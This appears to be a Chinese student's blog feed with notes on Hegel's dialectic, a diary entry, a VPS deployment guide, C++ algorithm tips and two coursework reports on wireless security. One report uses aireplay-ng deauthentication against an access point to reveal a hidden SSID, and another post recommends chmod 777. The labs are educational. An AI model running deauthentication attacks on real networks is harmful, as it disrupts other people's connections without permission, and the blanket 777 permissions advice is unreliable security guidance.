但是,根据黑格尔的意见,现实性决不是某种社会制度或政治制度在一切环境和一切时代所固有的属性。恰恰相反,罗马共和国是现实的,但是把它排斥掉的罗马帝国也是现实的。法国的君主制在1789年已经变得如此不现实,即如此丧失了任何必然性,如此不合理,以致必须由大革命(黑格尔谈论这次革命时总是兴高采烈的)来把它消灭掉。所以,在这里,君主制是不现实的,革命是现实的。同样,在发展的进程中,以前的一切现实的东西都会成为不现实的,都会丧失自己的必然性、自己存在的权利、自己的合理性;一种新的、富有生命力的现实的东西就会起来代替正在衰亡的现实的东西,——如果旧的东西足够理智,不加抵抗即行死亡,那就和平地代替;如果旧的东西抵抗这种必然性,那就通过暴力来代替。这样一来,黑格尔的这个命题,由于黑格尔的辩证法本身,就转化为自己的反面:凡在人类历史领域中是现实的,随着时间的推移,都会成为不合理的,因而按其本性来说已经是不合理的,一开始就包含着不合理性;凡在人们头脑中是合理的,都注定要成为现实的,不管它和现存的、表面的现实多么矛盾。按照黑格尔的思维方法的一切规则,凡是现实的都是合理的这个命题,就变为另一个命题:凡是现存的,都是应当灭亡的。 但是,黑格尔哲学(我们在这里只限于考察这种作为从康德以来的整个运动的顶峰的哲学)的真实意义和革命性质,正是在于它永远结束了人的思维和行动的一切结果具有最终性质的看法。 随想 q1: 这里我只认识到可以得出,事物可能走向它的反面变成不合理的而灭亡。为何作者说根据黑格尔的意见,可以得到注定的结论? 我的理解是,文中提到发展这个词,如果事物发展了,自然是有变化的,自然是有旧的东西会被新的东西取代了,因此,只要一个东西在发展,就说明旧事物成为不合理的,被现实的新事物取代,只要事物未来也会发展,那么事物就是注定会被取代的。 看来还得了解一下黑格尔哲学,这里感觉确实,越读越发现自己知道的太少,要学习的太多,发掘出自己越来越多很大的错误与荒谬的认知,比如由于对哲学的无知,居然才知道黑格尔是唯心主义者哈哈。 4. 绝对 哲学所应当认识的真理,在黑格尔看来,不再是一堆现成的、一经发现就只要熟读死记的教条了;现在,真理是包含在认识过程本身中,包含在科学的长期的历史发展中,而科学从认识的较低阶段上升到较高阶段,愈升愈高,但是永远不能通过所谓绝对真理的发现而达到这样一点,在这一点上它再也不能前进一步,除了袖手一旁惊愕地望着这个已经获得的绝对真理出神,就再也无事可做了。 历史同认识一样,永远不会把人类的某种完美的理想状态看做尽善尽美的;完美的社会、完美的“国家”是只有在幻想中才能存在的东西;反之,历史上依次更替的一切社会制度都只是人类社会由低级到高级的无穷发展进程中的一些暂时阶段。每一个阶段都是必然的,因此,对它所由发生的时代和条件说来,都有它存在的理由;但是对它自己内部逐渐发展起来的新的、更高的条件来说,它就变成过时的和没有存在的理由了;它不得不让位于更高的阶段,而这个更高的阶段也同样是要走向衰落和灭亡的。 知识 绝对精神精神哲学的最后阶段是“绝对精神”,哲学通过思维、概念来把握绝对,这就拆除了思维和存在之间的最后一道藩篱,终于达到了人的精神的同一,实现了绝对真理和绝对自由。哲学既克服了艺术的客观外在性,又克服了宗教的主观内在性,它既是主观的又是客观的。不过,哲学要实现自己的这个目标也要经历一个漫长的历程。黑格尔由此认为,哲学史不是一个堆积着各种过时意见的“死人的王国”,它是每个时代的时代精神的集中体现,是精神向绝对真理前进的步骤,因此每一时代的哲学都是绝对真理的一个不可缺少的环节。所以,即使一个哲学被更新时代的哲学所扬弃,但没有一个哲学是真正死亡了的,它必然继续活在后来的哲学中。每一个哲学都有自己的一个中心范畴,这个范畴占据着真理发展的一个阶段,而这个哲学不过是将这个片面的范畴扩展为一个体系而已;但后来的哲学并不推翻先前的,只是推翻前一原则的绝对性,将它降为自身的一个环节。这样看来,哲学史就是一个有机的整体,其中各个哲学就相当于逻辑学中的各个范畴,哲学之间的更替就相当于范畴之间的推演,而全部哲学史就展示了最后出现的最完备的哲学的内部逻辑结构。黑格尔由此表达了“历史的和逻辑的相一致”的辩证原则,认为哲学史就是哲学,历史上那些哲学系统的次序与理念中那些范畴的逻辑推演的次序是相同的,历史发展就是逻辑体系的形成过程,而整个哲学史就是他自己的最后的哲学产生、发展和形成的历史。我们如果把握到了历史发展的内在本质规律,去掉其外在偶然的形态,我们就把握到了哲学;反之,如果把握了哲学,也就可以不为历史的偶然性外表所迷惑,而揭示出历史中隐藏的必然性。 存在性 现实性 但是,在黑格尔看来,凡是现存的决非无条件地也是现实的。在他看来,现实的属性仅仅属于那同时是必然的东西``同样,在发展的进程中,以前的一切现实的东西都会成为不现实的,都会丧失自己的必然性、自己存在的权利、自己的合理性;一种新的、富有生命力的现实的东西就会起来代替正在衰亡的现实的东西,——如果旧的东西足够理智,不加抵抗即行死亡,那就和平地代替;如果旧的东西抵抗这种必然性,那就通过暴力来代替。 当黑格尔讨论现实的合理性时,他首要的和最一般的目的在于,以科学的态度对其所探讨的东西进行具体说明,并且这种科学态度是其思想理论核心的一个基本的和重要的因素。黑格尔说,现实性——在这里,我用来指涉世界的各个方面——在形式上是有序的,在行为上是有规律性的。从规律性、内在性、可理解性——即用合理的和科学的方式可解释的——的意义上讲,这种现实性也是合理的。——马克思主义与人性(1998) 随想 仅就目前学到的而言,黑格尔假定了存在绝对精神,这个哲学的最终形态,所有哲学的发展,过去的,现在的,未来的,都是达到绝对精神的环节,每一个新的哲学对旧的哲学的否定,都是一种批判性的继承,进而更接近绝对精神。黑格尔进而把这个从哲学领域引申到历史等领域。 但好像这只是假定绝对精神存在。 再看现实性,能否如此理解,因为假定绝对精神存在,事物发展是有规律、有序的,不断接近最终形态————绝对精神的,进而可以有否定之否定,新事物获得必然性代替失去必然性的旧事物,这种必然性是现阶段最合理的。 q2:一个是这仍然基于假定事物发展有规律,或者按照前面的,必定会发展到一个绝对的,最终极的状态;另一个是,这个事物的必然性似乎是基于当前环境的,黑格尔的意思是事物在每个阶段达到最现实的情况,推翻旧的不现实的情况,这个过程是是自发朝着绝对终极状态的?

4/14/2024
articleCard.readMore

随想240412

开摆 经典开摆,本来想着每天背背单词、学学算法、学学考研、玩玩游戏、打打羽毛球,我靠玩了个阿尔比恩OL,直接只剩玩游戏打羽毛球了。 阿尔比恩Albion 游戏是十年前的游戏,画质稀烂,玩法真的没见过,mmo,懒得描述了,好玩就对了,不过得克制点了,我靠这几天起床就是阿尔比恩,睡前还在阿尔比恩,真傻逼。 学习 考研怎么办,只有天知道; 过两天要蓝桥杯,gg,又是争取三等奖了; 还想看看马克思,学学区块链,你在摆什么。 健康 健身房卡停了,想想要不要办; 羽毛球最近打得不少,这几天病了没打,感觉还是得搞个好鞋,买个好拍子; 跑步得练练,耐力太差了,我靠,体测,我差点忘了我靠,我看看什么时候截止,还好,来得及,等病彻底好了吧。

4/12/2024
articleCard.readMore

自动化部署李寒的主页

前言 搞了个VPS,想着用nginx部署一个主页,上面是李寒的小窝等我的网站的连接,除了李寒的小窝以外的网站使用gin运行, 考虑到VPS可能会更换,搞个Dockfile,方便以后部署. 环境 Debian 11 Docker version 26.0.0, build 2ae903e nginx:latest 服务器初始化 安装docker 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 安装docker ## 卸载旧版本 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done ## Add Docker's official GPG key: sudo apt-get update sudo apt-get install ca-certificates curl sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc sudo chmod a+r /etc/apt/keyrings/docker.asc ## Add the repository to Apt sources: echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \ $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin 依赖环境配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 新建用户 sudo adduser lihan sudo usermod -aG sudo lihan su - lihan sudo -l cd mkdir share_file cd share_file git clone https://github.com/lihan3238/okx_test.git git clone https://github.com/lihan3238/handong_music.git git clone https://github.com/lihan3238/lihan_nginx.git 网站运行上线 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 # gin网页 wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz sudo rm -rf go1.22.1.linux-amd64.tar.gz sudo vim ~/.bashrc export PATH=$PATH:/usr/local/go/bin source ~/.bashrc go version sudo vim /etc/systemd/system/handong_music.service [Unit] Description=Handong Music Gin App After=network.target [Service] ExecStart=/usr/local/go/bin/go run /home/lihan/share_files/handong_music/main.go Restart=always WorkingDirectory=/home/lihan/share_files/handong_music User=lihan Environment=GIN_MODE=release [Install] WantedBy=multi-user.target sudo vim /etc/systemd/system/okx_lihan.service [Unit] Description= After=network.target [Service] ExecStart=/usr/local/go/bin/go run /home/lihan/share_files/okx_test/main.go Restart=always WorkingDirectory=/home/lihan/share_files/okx_test User=lihan Environment=GIN_MODE=release [Install] WantedBy=multi-user.target ## 重新加载配置文件 sudo systemctl daemon-reload # 启动 sudo systemctl start handong_music sudo systemctl start okx_lihan # 开机自启 sudo systemctl enable handong_music sudo systemctl enable okx_lihan # 查看状态 sudo systemctl status handong_music sudo systemctl status okx_lihan # nginx 主页 sudo docker pull nginx sudo docker run --name lihan_nginx \ --mount type=bind,source=/home/lihan/share_files/lihan_nginx/html,target=/usr/share/nginx/html \ --mount type=bind,source=/home/lihan/share_files/lihan_nginx/conf/nginx.conf,target=/etc/nginx/nginx.conf \ --mount type=bind,source=/home/lihan/share_files/lihan_nginx/conf.d,target=/etc/nginx/conf.d \ --mount type=bind,source=/home/lihan/share_files/lihan_nginx/logs,target=/var/log/nginx \ -p 80:80 -p 443:443 \ -d nginx

3/29/2024
articleCard.readMore

scp等传输文件后权限问题

问题 使用scp等命令传输文件后,文件权限不正确,可能导致依赖的程序无法正常读写文件。 解决 chmod命令可以修改文件权限,我的评价是直接 777

3/28/2024
articleCard.readMore

算法学习tips

速度优化 cin好像比scanf慢 memset(f, -1, sizeof(int)*41); 用于初始化数组 1 void *memset(void *s, int ch, size_t n); 大问题拆成小问题,可以通过提前把小问题分别算出来,最后再合成大问题的解,相比直接将每次的大问题拆成小问题计算更好 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <iostream> #include <algorithm> using namespace std; int a[200005]; long long sum[200005]; long long sum1[200005]; long long sum2[200005]; int main() { int n; long long min=0,max=0; cin>>n; for(int i=1;i<=n;i++) { scanf("%lld",&a[i]); sum[i]=sum[i-1]+a[i]; } min=0; sum1[1]=min; for(int i=2;i<=n;i++) { if(sum[i-1]<min) min=sum[i-1]; sum1[i]=min; // cout<<"min"<<min; } max=sum[n]; sum2[n]=max; for(int i=n-1;i>=1;i--) { if(sum[i]>max) max=sum[i]; sum2[i]=max; // cout<<"max"<<max; } for(int i=1;i<=n;i++) { printf("%lld ",sum2[i]-sum1[i]); } return 0; } 记忆化搜索:搜索时创建数组或者其他数据结构,用来存储已经计算过的结果或已经搜索过的,避免重复计算 崩溃bug 有+1 -1 数组大小记得多设点数组大小,别g了,不差那点 大数组的定义,不要定义在main函数内部,会导致栈溢出 二分查找——二分答案很多时候题目会让你去求解一个 ans ,这个 ans 有以下一些特征。比如求一个满足条件 A 的最大值/最 小值;或者求一个最大的最小值/最小的最大值,并且我们直接求解答案 A 非常困难,并且 ans 满足单调性,那么我们不妨直接二分查找最后的答案,测试它是不是满足条件。这种直接二分最后答案的算法就叫二分答案 。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include <iostream> #include <algorithm> using namespace std; int xp[1005][1005]; bool xpp[1005][1005]; int p[6]={0,-1,0,1,0}; int q[6]={0,0,-1,0,1}; int m,n; void func(int y,int x); int main() { int f=0; char t; scanf("%d %d",&n,&m); getchar(); for(int i=1;i<=n;i++) { for(int j=1;j<=m;j++) { t=getchar(); if(t=='*') { xp[i][j]=1; } else { xp[i][j]=0; } } getchar(); } func(0,0); for(int i=1;i<=n;i++) { for(int j=1;j<=m;j++) { if(xp[i][j]==1&&xpp[i][j]!=true) { printf("*"); } else { printf("."); } } printf("\n"); } return 0; } void func(int y,int x) { if(x<0||y<0||x>m+1||y>n+1||xpp[y][x]==true) { return; } if(xp[y][x]==1) { xpp[y][x]=true; return; } xpp[y][x]=true; for(int i=1;i<=4;i++) { func(y+p[i],x+q[i]); } return; } 代码模板 1.随机数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <iostream> #include <cstdlib> #include <ctime> using namespace std; int main() { int a=1000; srand(time(0)); while(a--) { cout<<rand()%10<<endl;//生成0-9的随机数 } return 0; } 字符串处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include <string> //字符串构造 string s1 = "hello"; string s2 = s1; // s2 = "hello" string s2(10, 'c'); // s2 = "cccccccccc" string s3(s1); // s3 = "hello" string s4(s1, 1, 3); // s4 = "ell" //获取字符串长度 string s = "hello"; int len = s.size(); // len = 5 int len2 = s.length(); // len2 = 5 //字符串拼接 string s1 = "hello"; string s2 = "world"; string s3 = s1 + s2; // s3 = "helloworld" string s4 = s1 + " " + s2; // s4 = "hello world" s1 += s2; // s1 = "helloworld" s1.append(s2); // s1 = "helloworld" s1.append("world"); // s1 = "helloworldworld" s1.append(3, 'c'); // s1 = "helloworldccc" //字符串比较 str1 == str2 //判断两个字符串是否相等 str1 > str2 //判断str1中第一个不匹配的字符比str2中对应字符大,或者所有字符都匹配但是比较字符串比源字符串长。 //获取子串 string str("Hello,World!"); string subStr = str.substr(3,5); // subStr = "lo,Wo" //访问字符串中的字符 string str("Hello,World!"); char c = str[0]; // c = 'H' char c2 = str.at(0); // c2 = 'H' //查找字符串 find()函数返回字符串中第一个匹配的位置,如果没有找到则返回string::npos rfind()函数返回字符串中最后一个匹配的位置,如果没有找到则返回string::npos string str("Hello,World!"); int pos = str.find("World"); // pos = 6 int pos2 = str.find("World", 7); // 从第7个字符开始查找,pos2 = string::npos int pos3 = str.find("World", 7, 3); // 从第7个字符开始查找,最多查找3个字符,pos3 = string::npos find_first_of()函数返回字符串中第一个匹配的位置,如果没有找到则返回string::npos find_last_of()函数返回字符串中最后一个匹配的位置,如果没有找到则返回string::npos find_first_not_of()函数返回字符串中第一个不匹配的位置,如果没有找到则返回string::npos find_last_not_of()函数返回字符串中最后一个不匹配的位置,如果没有找到则返回string::npos //插入删除字符串 string&insert(size_t pos,const string&str);   // 在位置 pos 处插入字符串 str string&insert(size_t pos,const string&str,size_t subpos,size_t sublen); // 在位置 pos 处插入字符串 str 的从位置 subpos 处开始的 sublen 个字符 string&insert(size_t pos,const char * s);    // 在位置 pos 处插入字符串 s string&insert(size_t pos,const char * s,size_t n); // 在位置 pos 处插入字符串 s 的前 n 个字符 string&insert(size_t pos,size_t n,char c);      // 在位置 pos 处插入 n 个字符 c iterator insert(const_iterator p, size_t n, char c); // 在 p 处插入 n 个字符 c,并返回插入后迭代器的位置 iterator insert (const_iterator p, char c);       // 在 p 处插入字符 c,并返回插入后迭代器的位置 string& erase (size_t pos = 0, size_t len = npos);   // 删除从 pos 处开始的 n 个字符 iterator erase (const_iterator p);            // 删除 p 处的一个字符,并返回删除后迭代器的位置 iterator erase (const_iterator first, const_iterator last); // 删除从 first 到 last 之间的字符,并返回删除后迭代器的位置 // 其他 getline(cin, s); // 从输入流中读取一行字符串 stoi(s); // 将字符串转换为整数 str.empty(); // 判断字符串是否为空 str.swap(str2); // 交换两个字符串的内容

3/26/2024
articleCard.readMore

2024移动互联网安全作业chap0x02

实验二 实验任务 发现隐藏SSID 实验环境 VMware® Workstation 17 Pro 17.5.1 build-23298084 kali-linux-2024.1-vmware-amd64 实验步骤 发现隐藏SSID 配置网卡进入监听模式 sudo airmon-ng start wlan0 开始抓包发现wifi sudo airodump-ng wlan0mon 指定信道抓包 sudo airodump-ng wlan0mon-c 6 -w saved --beacons 发送解除认证广播包 sudo aireplay-ng --deauth 1 -a [BSSID] wlan0mon --ignore-negative-one 查看隐藏SSID sudo airodump-ng wlan0mon-c 6 -w saved --beacons 思考题 分析捕获到的数据包,查找⽬标隐藏 SSID 5C:02:14:75:2A:18 发出的所 有 Beacon 报⽂,并查看报⽂中 SSID 字段设置。请给出对应的 Wireshark 过滤语法及截图。 wlan.bssid == 5C:02:14:75:2A:18 && wlan.fc.type_subtype == 0x08 SSID 字段为 Wildcard(Broadcast) 和 A 分析捕获到的数据包,查找哪些报⽂中包含了隐藏 SSID 5C:02:14:75:2A:18 的 ESSID 名称?请给出任意⼀条报⽂的编号、报⽂的 802.11 协议帧类型。请给出对应的 Wireshark 过滤语法及截图。 wlan.bssid == 5C:02:14:75:2A:18 && wlan.ssid == "A" 报文编号:1335 802.11 协议帧类型:Probe Response 实验问题以及解决方法 aireplay-ng 无法发送解除认证广播包,信道错误 1 2 3 └─$ sudo aireplay-ng --deauth 1 -a 5C:02:14:75:2A:18 wlan0mon --ignore-negative-one 03:18:50 Waiting for beacon frame (BSSID: 5C:02:14:75:2A:18) on channel 7 03:19:00 No such BSSID available. 解决: 发现隐藏SSID关键在于捕获目标AP和其关联客户端的无线数据包,并通过解除认证攻击等手段触发重新连接过程。 开两个终端,一个指定信道抓包,一个用于发送解除认证广播包 即可结局 参考链接 移动互联网安全 在线课本 claude.ai

3/25/2024
articleCard.readMore

2024移动互联网安全作业chap0x01

实验一 实验任务 详细记录实验所使⽤的⽆线⽹卡基本信息; ⽆线⽹卡正反⾯⾼清照⽚; 该⽹卡的硬件和软件特性⽀持情况; 使⽤ asciinema 记录⼀次典型的 airodump-ng ⽆线嗅探操作过程(限时 1 分钟之内),在 markdown 实验报告中附上 private 分享链接; 开启监听模式; channel hopping 模式抓包持续 10 秒左右; 指定 channel 抓包持续 10 秒左右,并记录抓包结果到⽂件供后续分析; 使⽤ Wireshark 的 802.11 PSK 解密功能解密分析⼀个包含「浏览器访问HTTP 明⽂通信⽹站的完整过程」的抓包结果⽂件; SampleCaptures/wpa-Induction.pcap SSID “Coherer” password “Induction” 实验环境 VMware® Workstation 17 Pro 17.5.1 build-23298084 kali-linux-2024.1-vmware-amd64 实验步骤 详细记录实验所使⽤的⽆线⽹卡基本信息 ⽆线⽹卡正反⾯⾼清照⽚ 该⽹卡的硬件和软件特性⽀持情况 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 # 硬件信息 lsusb -v Bus 001 Device 007: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter Couldn't open device, some information will be missing Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 [unknown] bDeviceSubClass 0 [unknown] bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x148f Ralink Technology, Corp. idProduct 0x3070 RT2870/RT3070 Wireless Adapter bcdDevice 1.01 iManufacturer 1 Ralink iProduct 2 802.11 n WLAN iSerial 3 1.0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 0x0043 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 450mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 7 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x02 EP 2 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x03 EP 3 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x04 EP 4 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x05 EP 5 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x06 EP 6 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 iw phy Wiphy phy1 wiphy index: 1 max # scan SSIDs: 4 max scan IEs length: 2257 bytes max # sched scan SSIDs: 0 max # match sets: 0 Retry short long limit: 2 Coverage class: 0 (up to 0m) Device supports RSN-IBSS. Supported Ciphers: * WEP40 (00-0f-ac:1) * WEP104 (00-0f-ac:5) * TKIP (00-0f-ac:2) * CCMP-128 (00-0f-ac:4) * CCMP-256 (00-0f-ac:10) * GCMP-128 (00-0f-ac:8) * GCMP-256 (00-0f-ac:9) * CMAC (00-0f-ac:6) * CMAC-256 (00-0f-ac:13) * GMAC-128 (00-0f-ac:11) * GMAC-256 (00-0f-ac:12) Available Antennas: TX 0 RX 0 Supported interface modes: * IBSS * managed * AP * AP/VLAN * monitor * mesh point Band 1: Capabilities: 0x17e HT20/HT40 SM Power Save disabled RX Greenfield RX HT20 SGI RX HT40 SGI RX STBC 1-stream Max AMSDU length: 3839 bytes No DSSS/CCK HT40 Maximum RX AMPDU length 32767 bytes (exponent: 0x002) Minimum RX AMPDU time spacing: 2 usec (0x04) HT TX/RX MCS rate indexes supported: 0-7, 32 Bitrates (non-HT): * 1.0 Mbps * 2.0 Mbps (short preamble supported) * 5.5 Mbps (short preamble supported) * 11.0 Mbps (short preamble supported) * 6.0 Mbps * 9.0 Mbps * 12.0 Mbps * 18.0 Mbps * 24.0 Mbps * 36.0 Mbps * 48.0 Mbps * 54.0 Mbps Frequencies: * 2412 MHz [1] (20.0 dBm) * 2417 MHz [2] (20.0 dBm) * 2422 MHz [3] (20.0 dBm) * 2427 MHz [4] (20.0 dBm) * 2432 MHz [5] (20.0 dBm) * 2437 MHz [6] (20.0 dBm) * 2442 MHz [7] (20.0 dBm) * 2447 MHz [8] (20.0 dBm) * 2452 MHz [9] (20.0 dBm) * 2457 MHz [10] (20.0 dBm) * 2462 MHz [11] (20.0 dBm) * 2467 MHz [12] (20.0 dBm) * 2472 MHz [13] (20.0 dBm) * 2484 MHz [14] (disabled) Supported commands: * new_interface * set_interface * new_key * start_ap * new_station * new_mpath * set_mesh_config * set_bss * authenticate * associate * deauthenticate * disassociate * join_ibss * join_mesh * remain_on_channel * set_tx_bitrate_mask * frame * frame_wait_cancel * set_wiphy_netns * set_channel * probe_client * set_noack_map * register_beacons * start_p2p_device * set_mcast_rate * connect * disconnect * set_qos_map * set_multicast_to_unicast software interface modes (can always be added): * AP/VLAN * monitor valid interface combinations: * #{ AP, mesh point } <= 8, total <= 8, #channels <= 1 HT Capability overrides: * MCS: ff ff ff ff ff ff ff ff ff ff * maximum A-MSDU length * supported channel width * short GI for 40 MHz * max A-MPDU length exponent * min MPDU start spacing Device supports TX status socket option. Device supports HT-IBSS. Device supports SAE with AUTHENTICATE command Device supports low priority scan. Device supports scan flush. Device supports AP scan. Device supports per-vif TX power setting Driver supports full state transitions for AP/GO clients Driver supports a userspace MPM Device supports configuring vdev MAC-addr on create. max # scan plans: 1 max scan plan interval: -1 max scan plan iterations: 0 Supported TX frame types: * IBSS: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * managed: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * AP: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * AP/VLAN: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * mesh point: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * P2P-client: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * P2P-GO: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 * P2P-device: 0x00 0x10 0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90 0xa0 0xb0 0xc0 0xd0 0xe0 0xf0 Supported RX frame types: * IBSS: 0x40 0xb0 0xc0 0xd0 * managed: 0x40 0xb0 0xd0 * AP: 0x00 0x20 0x40 0xa0 0xb0 0xc0 0xd0 * AP/VLAN: 0x00 0x20 0x40 0xa0 0xb0 0xc0 0xd0 * mesh point: 0xb0 0xc0 0xd0 * P2P-client: 0x40 0xd0 * P2P-GO: 0x00 0x20 0x40 0xa0 0xb0 0xc0 0xd0 * P2P-device: 0x40 0xd0 Supported extended features: * [ RRM ]: RRM * [ FILS_STA ]: STA FILS (Fast Initial Link Setup) * [ CQM_RSSI_LIST ]: multiple CQM_RSSI_THOLD records * [ CONTROL_PORT_OVER_NL80211 ]: control port over nl80211 * [ TXQS ]: FQ-CoDel-enabled intermediate TXQs * [ SCAN_RANDOM_SN ]: use random sequence numbers in scans * [ SCAN_MIN_PREQ_CONTENT ]: use probe request with only rate IEs in scans * [ CONTROL_PORT_NO_PREAUTH ]: disable pre-auth over nl80211 control port support * [ DEL_IBSS_STA ]: deletion of IBSS station support * [ SCAN_FREQ_KHZ ]: scan on kHz frequency support * [ CONTROL_PORT_OVER_NL80211_TX_STATUS ]: tx status for nl80211 control port support # 软件信息 iw dev phy#1 Interface wlan0 ifindex 5 wdev 0x100000001 addr 20:f4:1b:95:22:2a ssid CUC_FREE_FOR_OP type managed channel 11 (2462 MHz), width: 20 MHz, center1: 2462 MHz txpower 20.00 dBm multicast TXQ: qsz-byt qsz-pkt flows drops marks overlmt hashcol tx-bytes tx-packets 0 0 0 0 0 0 0 0 0 使⽤ asciinema 记录⼀次典型的 airodump-ng ⽆线嗅探操作过程 配置网卡进入监听模式 1 2 3 4 5 6 7 8 # 部分型号⽆线⽹卡可能会被重命名 # 重命名后的⽹卡名称可能是 wlan0mon sudo airmon-ng start wlan0 # 查看⽹卡状态是否进⼊监听模式 iwconfig # 退回managed模式 # sudo airmon-ng stop wlan0mon channel hopping 模式抓包 1 2 3 4 5 6 7 8 9 10 11 # 杀死影响进程 sudo airmon-ng check kill # channel hopping 模式抓包 sudo airodump-ng wlan0mon # 选择目标AP的channel定向监听 sudo airodump-ng wlan0mon --channel 11 -w saved --beacons --wps #监听指定AP的所有通信数据报⽂ airodump-ng -c 8 --bssid <bssid> -w saved wlan0mon airodump-ng_1 使⽤ Wireshark 的 802.11 PSK 解密功能解密分析⼀个包含「浏览器访问HTTP 明⽂通信⽹站的完整过程」的抓包结果⽂件 wpa-Induction.pcap 配置Wireshark解密 打开Wireshark,选择Edit -> Preferences -> Protocols -> IEEE 802.11 -> Enable decryption,添加wpa-Induction.pcap文件中的SSID和password 查看解密后的数据包 思考题 通过分析抓包保存的 pcap 